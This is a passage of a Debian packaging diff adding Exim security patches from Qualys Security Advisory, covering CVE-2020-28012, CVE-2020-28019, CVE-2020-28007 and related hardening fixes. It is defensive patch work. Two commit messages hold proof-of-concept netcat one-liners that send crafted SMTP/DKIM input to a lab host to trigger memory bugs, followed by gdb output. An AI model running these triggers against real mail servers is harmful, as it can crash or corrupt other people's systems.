++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "buffer underflow in smtp_ungetc");
++
+ *--smtp_inptr = ch;
+ return ch;
+ }
+diff --git a/src/tls.c b/src/tls.c
+index f79bc3193..2a316fe59 100644
+--- a/src/tls.c
++++ b/src/tls.c
+@@ -151,6 +151,9 @@ Returns: the character
+ int
+ tls_ungetc(int ch)
+ {
++if (ssl_xfer_buffer_lwm <= 0)
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "buffer underflow in tls_ungetc");
++
+ ssl_xfer_buffer[--ssl_xfer_buffer_lwm] = ch;
+ return ch;
+ }
+--
+2.30.2
+
diff --git a/debian/patches/84_14-CVE-2020-28012-Missing-close-on-exec-flag-for-privil.patch b/debian/patches/84_14-CVE-2020-28012-Missing-close-on-exec-flag-for-privil.patch
new file mode 100644
index 0000000..c9b2f65
--- /dev/null
+++ b/debian/patches/84_14-CVE-2020-28012-Missing-close-on-exec-flag-for-privil.patch
@@ -0,0 +1,31 @@
+From a1f36d86760def10138c1053eb3b1882b281fcd9 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 21:53:55 -0800
+Subject: [PATCH 14/29] CVE-2020-28012: Missing close-on-exec flag for
+ privileged pipe
+
+---
+ src/rda.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/src/rda.c b/src/rda.c
+index 13f570928..c27e073a3 100644
+--- a/src/rda.c
++++ b/src/rda.c
+@@ -623,9 +623,13 @@ search_tidyup();
+ if ((pid = fork()) == 0)
+ {
+ header_line *waslast = header_last; /* Save last header */
++ int fd_flags = -1;
+
+ fd = pfd[pipe_write];
+ (void)close(pfd[pipe_read]);
++
++ if ((fd_flags = fcntl(fd, F_GETFD)) == -1) goto bad;
++ if (fcntl(fd, F_SETFD, fd_flags | FD_CLOEXEC) == -1) goto bad;
+ exim_setugid(ugid->uid, ugid->gid, FALSE, rname);
+
+ /* Addresses can get rewritten in filters; if we are not root or the exim
+--
+2.30.2
+
diff --git a/debian/patches/84_15-Security-Safeguard-against-relative-names-for-msglog.patch b/debian/patches/84_15-Security-Safeguard-against-relative-names-for-msglog.patch
new file mode 100644
index 0000000..7b2607a
--- /dev/null
+++ b/debian/patches/84_15-Security-Safeguard-against-relative-names-for-msglog.patch
@@ -0,0 +1,41 @@
+From 0d5d8fc918c4b999a2d5b025d94e25e43680377d Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 22:00:31 -0800
+Subject: [PATCH 15/29] Security: Safeguard against relative names for msglog
+ files.
+
+Based on Heiko Schlittermann's commit 4f0ac4ad. This fixes:
+
+3/ In src/deliver.c:
+
+ 333 static int
+ 334 open_msglog_file(uschar *filename, int mode, uschar **error)
+ 335 {
+ 336 if (Ustrstr(filename, US"/../"))
+ 337 log_write(0, LOG_MAIN|LOG_PANIC,
+ 338 "Attempt to open msglog file path with upward-traversal: '%s'\n", filename);
+
+Should this be LOG_PANIC_DIE instead of LOG_PANIC? Right now it will log
+the /../ attempt but will open the file anyway.
+---
+ src/deliver.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/src/deliver.c b/src/deliver.c
+index d4ed8af08..279672ce0 100644
+--- a/src/deliver.c
++++ b/src/deliver.c
+@@ -331,6 +331,10 @@ open_msglog_file(uschar *filename, int mode, uschar **error)
+ {
+ int fd, i;
+
++if (Ustrstr(filename, US"/../"))
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE,
++ "Attempt to open msglog file path with upward-traversal: '%s'", filename);
++
+ for (i = 2; i > 0; i--)
+ {
+ fd = Uopen(filename,
+--
+2.30.2
+
diff --git a/debian/patches/84_16-Security-Check-overrun-rcpt_count-integer.patch b/debian/patches/84_16-Security-Check-overrun-rcpt_count-integer.patch
new file mode 100644
index 0000000..f8bda54
--- /dev/null
+++ b/debian/patches/84_16-Security-Check-overrun-rcpt_count-integer.patch
@@ -0,0 +1,39 @@
+From 56aadff97bc4e45e6a2ce25cfb9a98a4ae4bec79 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 22:05:37 -0800
+Subject: [PATCH 16/29] Security: Check overrun rcpt_count integer
+
+Based on Heiko Schlittermann's commit e5cb5e61. This fixes:
+
+4/ In src/smtp_in.c:
+
+4966 case RCPT_CMD:
+4967 HAD(SCH_RCPT);
+4968 rcpt_count++;
+....
+5123 if (rcpt_count > recipients_max && recipients_max > 0)
+
+In theory this recipients_max check can be bypassed, because the int
+rcpt_count can overflow (become negative). In practice this would either
+consume too much memory or generate too much network traffic, but maybe
+it should be fixed anyway.
+---
+ src/smtp_in.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/src/smtp_in.c b/src/smtp_in.c
+index bdcfde65f..1a5fbfea3 100644
+--- a/src/smtp_in.c
++++ b/src/smtp_in.c
+@@ -4993,6 +4993,8 @@ while (done <= 0)
+
+ case RCPT_CMD:
+ HAD(SCH_RCPT);
++ if (rcpt_count < 0 || rcpt_count >= INT_MAX/2)
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "Too many recipients: %d", rcpt_count);
+ rcpt_count++;
+ was_rcpt = fl.rcpt_in_progress = TRUE;
+
+--
+2.30.2
+
diff --git a/debian/patches/84_17-Security-Always-exit-when-LOG_PANIC_DIE-is-set.patch b/debian/patches/84_17-Security-Always-exit-when-LOG_PANIC_DIE-is-set.patch
new file mode 100644
index 0000000..a9eee56
--- /dev/null
+++ b/debian/patches/84_17-Security-Always-exit-when-LOG_PANIC_DIE-is-set.patch
@@ -0,0 +1,24 @@
+From 9b1ba71e66d18b1ae185e4d83788dc913f903a56 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 22:09:06 -0800
+Subject: [PATCH 17/29] Security: Always exit when LOG_PANIC_DIE is set
+
+---
+ src/log.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/log.c b/src/log.c
+index d08200044..c8313890e 100644
+--- a/src/log.c
++++ b/src/log.c
+@@ -894,6 +894,7 @@ if (!(flags & (LOG_MAIN|LOG_PANIC|LOG_REJECT)))
+ if (f.disable_logging)
+ {
+ DEBUG(D_any) debug_printf("log writing disabled\n");
++ if ((flags & LOG_PANIC_DIE) == LOG_PANIC_DIE) exim_exit(EXIT_FAILURE, NULL);
+ return;
+ }
+
+--
+2.30.2
+
diff --git a/debian/patches/84_18-Security-Fix-off-by-one-in-smtp-transport-read-respo.patch b/debian/patches/84_18-Security-Fix-off-by-one-in-smtp-transport-read-respo.patch
new file mode 100644
index 0000000..47d67d2
--- /dev/null
+++ b/debian/patches/84_18-Security-Fix-off-by-one-in-smtp-transport-read-respo.patch
@@ -0,0 +1,47 @@
+From 28335a4704d8d615fd61e05ea6e435a4cd24e4df Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 22:13:18 -0800
+Subject: [PATCH 18/29] Security: Fix off-by-one in smtp transport (read
+ response)
+
+Based on Heiko Schlittermann's commit 1887a160. This fixes:
+
+1/ In src/transports/smtp.c:
+
+2281 int n = sizeof(sx->buffer);
+2282 uschar * rsp = sx->buffer;
+2283
+2284 if (sx->esmtp_sent && (n = Ustrlen(sx->buffer)) < sizeof(sx->buffer)/2)
+2285 { rsp = sx->buffer + n + 1; n = sizeof(sx->buffer) - n; }
+
+This should probably be either:
+
+rsp = sx->buffer + n + 1; n = sizeof(sx->buffer) - n - 1;
+
+or:
+
+rsp = sx->buffer + n; n = sizeof(sx->buffer) - n;
+
+(not sure which) to avoid an off-by-one.
+---
+ src/transports/smtp.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/transports/smtp.c b/src/transports/smtp.c
+index cc37e73f3..07b63a2aa 100644
+--- a/src/transports/smtp.c
++++ b/src/transports/smtp.c
+@@ -2328,8 +2328,8 @@ goto SEND_QUIT;
+ int n = sizeof(sx->buffer);
+ uschar * rsp = sx->buffer;
+
+- if (sx->esmtp_sent && (n = Ustrlen(sx->buffer)) < sizeof(sx->buffer)/2)
+- { rsp = sx->buffer + n + 1; n = sizeof(sx->buffer) - n; }
++ if (sx->esmtp_sent && (n = Ustrlen(sx->buffer) + 1) < sizeof(sx->buffer)/2)
++ { rsp = sx->buffer + n; n = sizeof(sx->buffer) - n; }
+
+ if (smtp_write_command(sx, SCMD_FLUSH, "HELO %s\r\n", sx->helo_data) < 0)
+ goto SEND_FAILED;
+--
+2.30.2
+
diff --git a/debian/patches/84_19-Security-Avoid-decrement-of-dkim_collect_input-if-al.patch b/debian/patches/84_19-Security-Avoid-decrement-of-dkim_collect_input-if-al.patch
new file mode 100644
index 0000000..a2b52fe
--- /dev/null
+++ b/debian/patches/84_19-Security-Avoid-decrement-of-dkim_collect_input-if-al.patch
@@ -0,0 +1,59 @@
+From 031ae594f6e68511117f6d39ce238b0c5215d8d1 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 22:19:42 -0800
+Subject: [PATCH 19/29] Security: Avoid decrement of dkim_collect_input if
+ already at 0
+
+Based on Heiko Schlittermann's commit bf2d6e58. This fixes:
+
+5/ receive_msg() calls dkim_exim_verify_finish(), which sets
+dkim_collect_input to 0 and calls pdkim_feed_finish(), which calls
+pdkim_header_complete(), which decreases dkim_collect_input to UINT_MAX,
+which reactivates the DKIM code.
+
+As a result, pdkim_feed() is called again (through receive_getc at the
+end of receive_msg()), but functions like pdkim_finish_bodyhash() and
+exim_sha_finish() have already been called (in pdkim_feed_finish()).
+This suggests a use-after-free.
+
+But it seems that a use-after-free would happen only with
+EVP_DigestFinal() (in exim_sha_finish()), which does not seem to be
+reachable via DKIM (no SHA3). But we checked OpenSSL only, not GnuTLS.
+
+Here is a proof of concept that triggers the bug (which came very close
+to a security vulnerability):
+
+(sleep 10; echo 'EHLO test'; sleep 3; echo 'MAIL FROM:<>'; sleep 3; echo 'RCPT TO:postmaster'; sleep 3; echo 'BDAT 42 LAST'; date >&2; sleep 30; printf 'not a valid header line\r\n
+DKIM-Signature:\r\nXXX'; sleep 30) | nc -n -v 192.168.56.102 25
+
+(gdb) print &dkim_collect_input
+$2 = (unsigned int *) 0x55e180386d90 <dkim_collect_input>
+(gdb) watch *(unsigned int *) 0x55e180386d90
+
+Hardware watchpoint 1: *(unsigned int *) 0x55e180386d90
+Old value = 0
+New value = 4294967295
+#0 0x000055e18031f805 in pdkim_header_complete (ctx=ctx@entry=0x55e181b9e8e0) at pdkim.c:1006
+#1 0x000055e18032106c in pdkim_feed_finish (ctx=0x55e181b9e8e0, return_signatures=0x55e180386d78 <dkim_signatures>, err=err@entry=0x7ffe443e1d00) at pdkim.c:1490
+#2 0x000055e1802a3280 in dkim_exim_verify_finish () at dkim.c:328
+#3 0x000055e1802c9d1d in receive_msg (extract_recip=extract_recip@entry=0) at receive.c:3409
+---
+ src/pdkim/pdkim.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/pdkim/pdkim.c b/src/pdkim/pdkim.c
+index e203311da..e3233e9f0 100644
+--- a/src/pdkim/pdkim.c
++++ b/src/pdkim/pdkim.c
+@@ -1010,7 +1010,7 @@ else
+ last_sig->next = sig;
+ }
+
+- if (--dkim_collect_input == 0)
++ if (dkim_collect_input && --dkim_collect_input == 0)
+ {
+ ctx->headers = pdkim_prepend_stringlist(ctx->headers, ctx->cur_header->s);
+ ctx->cur_header->s[ctx->cur_header->ptr = 0] = '\0';
+--
+2.30.2
+
diff --git a/debian/patches/84_20-Security-Leave-a-clean-smtp_out-input-buffer-even-in.patch b/debian/patches/84_20-Security-Leave-a-clean-smtp_out-input-buffer-even-in.patch
new file mode 100644
index 0000000..acf17d3
--- /dev/null
+++ b/debian/patches/84_20-Security-Leave-a-clean-smtp_out-input-buffer-even-in.patch
@@ -0,0 +1,67 @@
+From 6b647c508aced6961f00e139f0337e2c8aba9eb7 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 22:24:13 -0800
+Subject: [PATCH 20/29] Security: Leave a clean smtp_out input buffer even in
+ case of read error
+
+Based on Heiko Schlittermann's commit 54895bc3. This fixes:
+
+7/ In src/smtp_out.c, read_response_line(), inblock->ptr is not updated
+when -1 is returned. This does not seem to have bad consequences, but is
+maybe not the intended behavior.
+---
+ src/smtp_out.c | 6 ++++--
+ 1 file changed, 4 insertions(+), 2 deletions(-)
+
+--- a/src/smtp_out.c
++++ b/src/smtp_out.c
+@@ -387,11 +387,11 @@ HDEBUG(D_transport|D_acl|D_v)
+ #ifdef SUPPORT_SOCKS
+ if (ob->socks_proxy)
+ {
+ int sock = socks_sock_connect(sc->host, sc->host_af, port, sc->interface,
+ sc->tblock, ob->connect_timeout);
+-
++
+ if (sock >= 0)
+ {
+ if (early_data && early_data->data && early_data->len)
+ if (send(sock, early_data->data, early_data->len, 0) < 0)
+ {
+@@ -588,11 +588,11 @@ Arguments:
+ buffer where to put the line
+ size space available for the line
+ timelimit deadline for reading the lime, seconds past epoch
+
+ Returns: length of a line that has been put in the buffer
+- -1 otherwise, with errno set
++ -1 otherwise, with errno set, and inblock->ptr adjusted
+ */
+
+ static int
+ read_response_line(smtp_inblock *inblock, uschar *buffer, int size, time_t timelimit)
+ {
+@@ -629,10 +629,11 @@ for (;;)
+ *p++ = c;
+ if (--size < 4)
+ {
+ *p = 0; /* Leave malformed line for error message */
+ errno = ERRNO_SMTPFORMAT;
++ inblock->ptr = ptr;
+ return -1;
+ }
+ }
+
+ /* Need to read a new input packet. */
+@@ -654,10 +655,11 @@ for (;;)
+ }
+
+ /* Get here if there has been some kind of recv() error; errno is set, but we
+ ensure that the result buffer is empty before returning. */
+
++inblock->ptr = inblock->ptrend = inblock->buffer;
+ *buffer = 0;
+ return -1;
+ }
+
+
diff --git a/debian/patches/84_21-Security-Avoid-modification-of-constant-data-in-dkim.patch b/debian/patches/84_21-Security-Avoid-modification-of-constant-data-in-dkim.patch
new file mode 100644
index 0000000..b723d0f
--- /dev/null
+++ b/debian/patches/84_21-Security-Avoid-modification-of-constant-data-in-dkim.patch
@@ -0,0 +1,89 @@
+From a4e1b7755ebbdee2689d40683ba69f09e38a8d7f Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 22:30:03 -0800
+Subject: [PATCH 21/29] Security: Avoid modification of constant data in dkim
+ handling
+
+Based on Heiko Schlittermann's commits f880c7f3 and c118c7f4. This
+fixes:
+
+6/ In src/pdkim/pdkim.c, pdkim_update_ctx_bodyhash() is sometimes called
+with a global orig_data and hence canon_data, and the following line can
+therefore modify data that should be constant:
+
+ 773 canon_data->len = b->bodylength - b->signed_body_bytes;
+
+For example, the following proof of concept sets lineending.len to 0
+(this should not be possible):
+
+(sleep 10; echo 'EHLO test'; sleep 3; echo 'MAIL FROM:<>'; sleep 3; echo 'RCPT TO:postmaster'; sleep 3; echo 'DATA'; date >&2; sleep 30; printf 'DKIM-Signature:a=rsa-sha1;c=simple/simple;l=0\r\n\r\n\r\nXXX\r\n.\r\n'; sleep 30) | nc -n -v 192.168.56.102 25
+
+(gdb) print lineending
+$1 = {data = 0x55e18035b2ad "\r\n", len = 2}
+(gdb) print &lineending.len
+$3 = (size_t *) 0x55e180385948 <lineending+8>
+(gdb) watch *(size_t *) 0x55e180385948
+
+Hardware watchpoint 1: *(size_t *) 0x55e180385948
+Old value = 2
+New value = 0
+(gdb) print lineending
+$5 = {data = 0x55e18035b2ad "\r\n", len = 0}
+---
+ src/pdkim/pdkim.c | 21 ++++++++++++---------
+ 1 file changed, 12 insertions(+), 9 deletions(-)
+
+diff --git a/src/pdkim/pdkim.c b/src/pdkim/pdkim.c
+index e3233e9f0..512a3e352 100644
+--- a/src/pdkim/pdkim.c
++++ b/src/pdkim/pdkim.c
+@@ -107,7 +107,7 @@ pdkim_combined_canon_entry pdkim_combined_canons[] = {
+ };
+
+
+-static blob lineending = {.data = US"\r\n", .len = 2};
++static const blob lineending = {.data = US"\r\n", .len = 2};
+
+ /* -------------------------------------------------------------------------- */
+ uschar *
+@@ -719,9 +719,11 @@ return NULL;
+ If we have to relax the data for this sig, return our copy of it. */
+
+ static blob *
+-pdkim_update_ctx_bodyhash(pdkim_bodyhash * b, blob * orig_data, blob * relaxed_data)
++pdkim_update_ctx_bodyhash(pdkim_bodyhash * b, const blob * orig_data, blob * relaxed_data)
+ {
+-blob * canon_data = orig_data;
++const blob * canon_data = orig_data;
++size_t left;
++
+ /* Defaults to simple canon (no further treatment necessary) */
+
+ if (b->canon_method == PDKIM_CANON_RELAXED)
+@@ -767,16 +769,17 @@ if (b->canon_method == PDKIM_CANON_RELAXED)
+ }
+
+ /* Make sure we don't exceed the to-be-signed body length */
++left = canon_data->len;
+ if ( b->bodylength >= 0
+- && b->signed_body_bytes + (unsigned long)canon_data->len > b->bodylength
++ && left > (unsigned long)b->bodylength - b->signed_body_bytes
+ )
+- canon_data->len = b->bodylength - b->signed_body_bytes;
++ left = (unsigned long)b->bodylength - b->signed_body_bytes;
+
+-if (canon_data->len > 0)
++if (left > 0)
+ {
+- exim_sha_update(&b->body_hash_ctx, CUS canon_data->data, canon_data->len);
+- b->signed_body_bytes += canon_data->len;
+- DEBUG(D_acl) pdkim_quoteprint(canon_data->data, canon_data->len);
++ exim_sha_update(&b->body_hash_ctx, CUS canon_data->data, left);
++ b->signed_body_bytes += left;
++ DEBUG(D_acl) pdkim_quoteprint(canon_data->data, left);
+ }
+
+ return relaxed_data;
+--
+2.30.2
+
diff --git a/debian/patches/84_22-CVE-2020-28019-Failure-to-reset-function-pointer-aft.patch b/debian/patches/84_22-CVE-2020-28019-Failure-to-reset-function-pointer-aft.patch
new file mode 100644
index 0000000..0d44293
--- /dev/null
+++ b/debian/patches/84_22-CVE-2020-28019-Failure-to-reset-function-pointer-aft.patch
@@ -0,0 +1,135 @@
+From 1663ab541b37675dec5bcf235605568ff36ac65a Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Sun, 21 Feb 2021 22:36:10 -0800
+Subject: [PATCH 22/29] CVE-2020-28019: Failure to reset function pointer after
+ BDAT error
+
+Based on Phil Pennock's commits 4715403e and 151ffd72, and Jeremy
+Harris's commits aa171254 and 9aceb5c2.
+---
+ src/globals.c | 1 +
+ src/globals.h | 1 +
+ src/smtp_in.c | 55 +++++++++++++++++++++++++++++++++++++++--------
+ 3 files changed, 48 insertions(+), 9 deletions(-)
+
+diff --git a/src/globals.c b/src/globals.c
+index b3362a34c..894b8487b 100644
+--- a/src/globals.c
++++ b/src/globals.c
+@@ -247,6 +247,7 @@ struct global_flags f =
+ .authentication_local = FALSE,
+
+ .background_daemon = TRUE,
++ .bdat_readers_wanted = FALSE,
+
+ .chunking_offered = FALSE,
+ .config_changed = FALSE,
+diff --git a/src/globals.h b/src/globals.h
+index f71f104e2..58f7ae55f 100644
+--- a/src/globals.h
++++ b/src/globals.h
+@@ -173,6 +173,7 @@ extern struct global_flags {
+ BOOL authentication_local :1; /* TRUE if non-smtp (implicit authentication) */
+
+ BOOL background_daemon :1; /* Set FALSE to keep in foreground */
++ BOOL bdat_readers_wanted :1; /* BDAT-handling to be pushed on readfunc stack */
+
+ BOOL chunking_offered :1;
+ BOOL config_changed :1; /* True if -C used */
+diff --git a/src/smtp_in.c b/src/smtp_in.c
+index 1a5fbfea3..016c44c0f 100644
+--- a/src/smtp_in.c
++++ b/src/smtp_in.c
+@@ -602,6 +602,10 @@ if (n > 0)
+ #endif
+ }
+
++/* Forward declarations */
++static inline void bdat_push_receive_functions(void);
++static inline void bdat_pop_receive_functions(void);
++
+
+ /* Get a byte from the smtp input, in CHUNKING mode. Handle ack of the
+ previous BDAT chunk and getting new ones when we run out. Uses the
+@@ -634,9 +638,7 @@ for(;;)
+ if (chunking_data_left > 0)
+ return lwr_receive_getc(chunking_data_left--);
+
+- receive_getc = lwr_receive_getc;
+- receive_getbuf = lwr_receive_getbuf;
+- receive_ungetc = lwr_receive_ungetc;
++ bdat_pop_receive_functions();
+ #ifndef DISABLE_DKIM
+ dkim_save = dkim_collect_input;
+ dkim_collect_input = 0;
+@@ -740,9 +742,7 @@ next_cmd:
+ goto repeat_until_rset;
+ }
+
+- receive_getc = bdat_getc;
+- receive_getbuf = bdat_getbuf; /* r~getbuf is never actually used */
+- receive_ungetc = bdat_ungetc;
++ bdat_push_receive_functions();
+ #ifndef DISABLE_DKIM
+ dkim_collect_input = dkim_save;
+ #endif
+@@ -775,9 +775,7 @@ while (chunking_data_left)
+ if (!bdat_getbuf(&n)) break;
+ }
+
+-receive_getc = lwr_receive_getc;
+-receive_getbuf = lwr_receive_getbuf;
+-receive_ungetc = lwr_receive_ungetc;
++bdat_pop_receive_functions();
+
+ if (chunking_state != CHUNKING_LAST)
+ {
+@@ -787,6 +785,45 @@ if (chunking_state != CHUNKING_LAST)
+ }
+
+
++static inline void
++bdat_push_receive_functions(void)
++{
++/* push the current receive_* function on the "stack", and
++replace them by bdat_getc(), which in turn will use the lwr_receive_*
++functions to do the dirty work. */
++if (lwr_receive_getc == NULL)
++ {
++ lwr_receive_getc = receive_getc;
++ lwr_receive_getbuf = receive_getbuf;
++ lwr_receive_ungetc = receive_ungetc;
++ }
++else
++ {
++ DEBUG(D_receive) debug_printf("chunking double-push receive functions\n");
++ }
++
++receive_getc = bdat_getc;
++receive_getbuf = bdat_getbuf;
++receive_ungetc = bdat_ungetc;
++}
++
++static inline void
++bdat_pop_receive_functions(void)
++{
++if (lwr_receive_getc == NULL)
++ {
++ DEBUG(D_receive) debug_printf("chunking double-pop receive functions\n");
++ return;
++ }
++
++receive_getc = lwr_receive_getc;
++receive_getbuf = lwr_receive_getbuf;
++receive_ungetc = lwr_receive_ungetc;
++
++lwr_receive_getc = NULL;
++lwr_receive_getbuf = NULL;
++lwr_receive_ungetc = NULL;
++}
+
+
+ /*************************************************
+--
+2.30.2
+
diff --git a/debian/patches/84_23-CVE-2020-28007-Link-attack-in-Exim-s-log-directory.patch b/debian/patches/84_23-CVE-2020-28007-Link-attack-in-Exim-s-log-directory.patch
new file mode 100644
index 0000000..211abe3
--- /dev/null
+++ b/debian/patches/84_23-CVE-2020-28007-Link-attack-in-Exim-s-log-directory.patch
@@ -0,0 +1,542 @@
+From 99ae249e9857e80ff4d65b2388bc68c624dcb739 Mon Sep 17 00:00:00 2001
+From: Qualys Security Advisory <qsa@qualys.com>
+Date: Tue, 23 Feb 2021 08:33:03 -0800
+Subject: [PATCH 23/29] CVE-2020-28007: Link attack in Exim's log directory
+
+We patch this vulnerability by opening (instead of just creating) the
+log file in an unprivileged (exim) child process, and by passing this
+file descriptor back to the privileged (root) parent process. The two
+functions log_send_fd() and log_recv_fd() are inspired by OpenSSH's
+functions mm_send_fd() and mm_receive_fd(); thanks!
+
+This patch also fixes:
+
+- a NULL-pointer dereference in usr1_handler() (this signal handler is
+ installed before process_log_path is initialized);
+
+- a file-descriptor leak in dmarc_write_history_file() (two return paths
+ did not close history_file_fd).
+
+Note: the use of log_open_as_exim() in dmarc_write_history_file() should
+be fine because the documentation explicitly states "Make sure the
+directory of this file is writable by the user exim runs as."
+
+(cherry picked from commit 2502cc41d1d92c1413eca6a4ba035c21162662bd)
+(cherry picked from commit 93e9a18fbf09deb59bd133986f4c89aeb2d2d86a)
+---
+ src/dmarc.c | 179 ++++++++++++++++++------------------
+ src/exim.c | 14 +--
+ src/functions.h | 3 +-
+ src/log.c | 214 ++++++++++++++++++++++++++++----------------
+ test/stderr/0397 | 6 +-
+ 5 files changed, 234 insertions(+), 182 deletions(-)
+
+diff --git a/src/dmarc.c b/src/dmarc.c
+index f29f7eba6..c5e01c7ee 100644
+--- a/src/dmarc.c
++++ b/src/dmarc.c
+@@ -204,6 +204,97 @@ if ( dmarc_policy == DMARC_POLICY_REJECT && action == DMARC_RESULT_REJECT
+ }
+ }
+
++
++static int
++dmarc_write_history_file()
++{
++int tmp_ans;
++u_char **rua; /* aggregate report addressees */
++uschar *history_buffer = NULL;
++
++if (!dmarc_history_file)
++ {
++ DEBUG(D_receive) debug_printf("DMARC history file not set\n");
++ return DMARC_HIST_DISABLED;
++ }
++
++/* Generate the contents of the history file */
++history_buffer = string_sprintf(
++ "job %s\nreporter %s\nreceived %ld\nipaddr %s\nfrom %s\nmfrom %s\n",
++ message_id, primary_hostname, time(NULL), sender_host_address,
++ header_from_sender, expand_string(US"$sender_address_domain"));
++
++if (spf_response)
++ history_buffer = string_sprintf("%sspf %d\n", history_buffer, dmarc_spf_ares_result);
++ /* history_buffer = string_sprintf("%sspf -1\n", history_buffer); */
++
++history_buffer = string_sprintf(
++ "%s%spdomain %s\npolicy %d\n",
++ history_buffer, dkim_history_buffer, dmarc_used_domain, dmarc_policy);
++
++if ((rua = opendmarc_policy_fetch_rua(dmarc_pctx, NULL, 0, 1)))
++ for (tmp_ans = 0; rua[tmp_ans]; tmp_ans++)
++ history_buffer = string_sprintf("%srua %s\n", history_buffer, rua[tmp_ans]);
++else
++ history_buffer = string_sprintf("%srua -\n", history_buffer);
++
++opendmarc_policy_fetch_pct(dmarc_pctx, &tmp_ans);
++history_buffer = string_sprintf("%spct %d\n", history_buffer, tmp_ans);
++
++opendmarc_policy_fetch_adkim(dmarc_pctx, &tmp_ans);
++history_buffer = string_sprintf("%sadkim %d\n", history_buffer, tmp_ans);
++
++opendmarc_policy_fetch_aspf(dmarc_pctx, &tmp_ans);
++history_buffer = string_sprintf("%saspf %d\n", history_buffer, tmp_ans);
++
++opendmarc_policy_fetch_p(dmarc_pctx, &tmp_ans);
++history_buffer = string_sprintf("%sp %d\n", history_buffer, tmp_ans);
++
++opendmarc_policy_fetch_sp(dmarc_pctx, &tmp_ans);
++history_buffer = string_sprintf("%ssp %d\n", history_buffer, tmp_ans);
++
++history_buffer = string_sprintf(
++ "%salign_dkim %d\nalign_spf %d\naction %d\n",
++ history_buffer, da, sa, action);
++
++/* Write the contents to the history file */
++DEBUG(D_receive)
++ debug_printf("DMARC logging history data for opendmarc reporting%s\n",
++ (host_checking || f.running_in_test_harness) ? " (not really)" : "");
++if (host_checking || f.running_in_test_harness)
++ {
++ DEBUG(D_receive)
++ debug_printf("DMARC history data for debugging:\n%s", history_buffer);
++ }
++else
++ {
++ ssize_t written_len;
++ const int history_file_fd = log_open_as_exim(dmarc_history_file);
++
++ if (history_file_fd < 0)
++ {
++ log_write(0, LOG_MAIN|LOG_PANIC, "failure to create DMARC history file: %s",
++ dmarc_history_file);
++ return DMARC_HIST_FILE_ERR;
++ }
++
++ written_len = write_to_fd_buf(history_file_fd,
++ history_buffer,
++ Ustrlen(history_buffer));
++
++ (void)close(history_file_fd);
++
++ if (written_len <= 0)
++ {
++ log_write(0, LOG_MAIN|LOG_PANIC, "failure to write to DMARC history file: %s",
++ dmarc_history_file);
++ return DMARC_HIST_WRITE_ERR;
++ }
++ }
++return DMARC_HIST_OK;
++}
++
++
+ /* dmarc_process adds the envelope sender address to the existing
+ context (if any), retrieves the result, sets up expansion
+ strings and evaluates the condition outcome. */
+@@ -486,94 +577,6 @@ if (!f.dmarc_disable_verify)
+ return OK;
+ }
+
+-static int
+-dmarc_write_history_file()
+-{
+-int history_file_fd;
+-ssize_t written_len;
+-int tmp_ans;
+-u_char **rua; /* aggregate report addressees */
+-uschar *history_buffer = NULL;
+-
+-if (!dmarc_history_file)
+- {
+- DEBUG(D_receive) debug_printf("DMARC history file not set\n");
+- return DMARC_HIST_DISABLED;
+- }
+-history_file_fd = log_create(dmarc_history_file);
+-
+-if (history_file_fd < 0)
+- {
+- log_write(0, LOG_MAIN|LOG_PANIC, "failure to create DMARC history file: %s",
+- dmarc_history_file);
+- return DMARC_HIST_FILE_ERR;
+- }
+-
+-/* Generate the contents of the history file */
+-history_buffer = string_sprintf(
+- "job %s\nreporter %s\nreceived %ld\nipaddr %s\nfrom %s\nmfrom %s\n",
+- message_id, primary_hostname, time(NULL), sender_host_address,
+- header_from_sender, expand_string(US"$sender_address_domain"));
+-
+-if (spf_response)
+- history_buffer = string_sprintf("%sspf %d\n", history_buffer, dmarc_spf_ares_result);
+- /* history_buffer = string_sprintf("%sspf -1\n", history_buffer); */
+-
+-history_buffer = string_sprintf(
+- "%s%spdomain %s\npolicy %d\n",
+- history_buffer, dkim_history_buffer, dmarc_used_domain, dmarc_policy);
+-
+-if ((rua = opendmarc_policy_fetch_rua(dmarc_pctx, NULL, 0, 1)))
+- for (tmp_ans = 0; rua[tmp_ans]; tmp_ans++)
+- history_buffer = string_sprintf("%srua %s\n", history_buffer, rua[tmp_ans]);
+-else
+- history_buffer = string_sprintf("%srua -\n", history_buffer);
+-
+-opendmarc_policy_fetch_pct(dmarc_pctx, &tmp_ans);
+-history_buffer = string_sprintf("%spct %d\n", history_buffer, tmp_ans);
+-
+-opendmarc_policy_fetch_adkim(dmarc_pctx, &tmp_ans);
+-history_buffer = string_sprintf("%sadkim %d\n", history_buffer, tmp_ans);
+-
+-opendmarc_policy_fetch_aspf(dmarc_pctx, &tmp_ans);
+-history_buffer = string_sprintf("%saspf %d\n", history_buffer, tmp_ans);
+-
+-opendmarc_policy_fetch_p(dmarc_pctx, &tmp_ans);
+-history_buffer = string_sprintf("%sp %d\n", history_buffer, tmp_ans);
+-
+-opendmarc_policy_fetch_sp(dmarc_pctx, &tmp_ans);
+-history_buffer = string_sprintf("%ssp %d\n", history_buffer, tmp_ans);
+-
